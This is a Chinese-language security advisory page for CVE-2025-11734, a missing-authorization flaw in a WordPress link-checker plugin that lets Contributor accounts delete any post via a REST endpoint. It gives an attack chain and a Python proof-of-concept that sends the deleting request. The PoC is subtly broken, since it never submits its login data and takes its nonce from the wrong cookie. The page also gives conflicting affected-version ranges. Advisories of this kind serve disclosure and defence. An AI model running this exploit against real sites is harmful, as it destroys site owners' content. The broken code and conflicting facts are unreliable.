IPBUF安全漏洞报告
English
CVE-2025-11734 CVSS 5.4 中危

CVE-2025-11734 WordPress Broken Link Checker插件授权缺失漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-11734
漏洞类型
授权缺失
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
The Broken Link Checker by AIOSEO WordPress插件

相关标签

CVE-2025-11734授权缺失Broken Access ControlWordPress插件漏洞REST API安全Broken Link CheckerAIOSEO越权访问中危漏洞

漏洞概述

CVE-2025-11734是WordPress平台The Broken Link Checker by AIOSEO插件中的一个严重授权缺失漏洞。该插件用于监控和修复网站内部及外部链接,在所有版本直至1.2.5均存在此安全问题。漏洞根源在于插件注册的REST API端点仅检查用户是否具有aioseo_blc_broken_links_page这一宽泛能力,而该能力被授予贡献者(contributor)级别及以上的用户,却未验证用户对目标文章的实际操作权限。这使得任何具有贡献者权限的认证用户都能通过特定的REST API端点删除网站上的任意文章,而不仅仅是他们自己创建的内容。此漏洞属于OWASP Top 10中的Broken Access Control类别,CVSS评分5.4(中危),主要影响机密性和完整性,可被利用进行恶意删除文章内容,对网站内容完整性造成威胁。

技术细节

该漏洞源于WordPress插件在注册REST API路由时采用了不安全的权限验证机制。插件通过register_rest_route()函数注册了aioseoBrokenLinkChecker/v1/post端点,该端点处理DELETE请求用于删除文章。问题出在权限回调函数仅检查current_user_can('aioseo_blc_broken_links_page'),而这个 capability 被默认授予所有Contributor角色用户。正确的实现应该使用current_user_can('delete_post', $post_id)来验证用户是否具有删除特定文章的权限。攻击者只需构造DELETE请求到/wp-json/aioseoBrokenLinkChecker/v1/post端点,并在请求体中指定要删除的文章ID,即可绕过授权检查删除任意文章。由于WordPress REST API默认支持cookie认证,攻击者可以使用正常的Contributor账户登录后发起攻击,无需特殊权限或技术门槛。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别账户凭据
STEP 2
步骤2
使用凭据登录WordPress并建立认证会话
STEP 3
步骤3
构造DELETE请求到/wp-json/aioseoBrokenLinkChecker/v1/post端点
STEP 4
步骤4
在请求payload中指定目标文章ID(任意文章)
STEP 5
步骤5
发送请求,插件仅检查aioseo_blc_broken_links_page权限而不验证文章所有权
STEP 6
步骤6
目标文章被移动到垃圾箱,攻击成功

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11734 PoC - Broken Link Checker Plugin Authorization Bypass # Target: WordPress site with Broken Link Checker plugin <= 1.2.5 target_url = "http://target-wordpress-site.com" username = "contributor_user" password = "contributor_password" # Step 1: Authenticate and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } # Step 2: Delete arbitrary post via vulnerable REST API endpoint post_id_to_delete = 123 # Target post ID api_url = f"{target_url}/wp-json/aioseoBrokenLinkChecker/v1/post" headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get("wordpress_test_cookie") or "" } payload = { "id": post_id_to_delete } # Send DELETE request to delete arbitrary post response = session.delete(api_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Note: This PoC demonstrates the authorization bypass vulnerability # The attacker can delete any post without proper authorization check

影响范围

Broken Link Checker by AIOSEO插件 < 1.2.5

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:在wp-config.php中添加代码禁用aioseoBrokenLinkChecker/v1/post REST API路由;或使用WordPress安全插件限制Contributor角色的REST API访问权限;或暂时禁用该插件直至完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表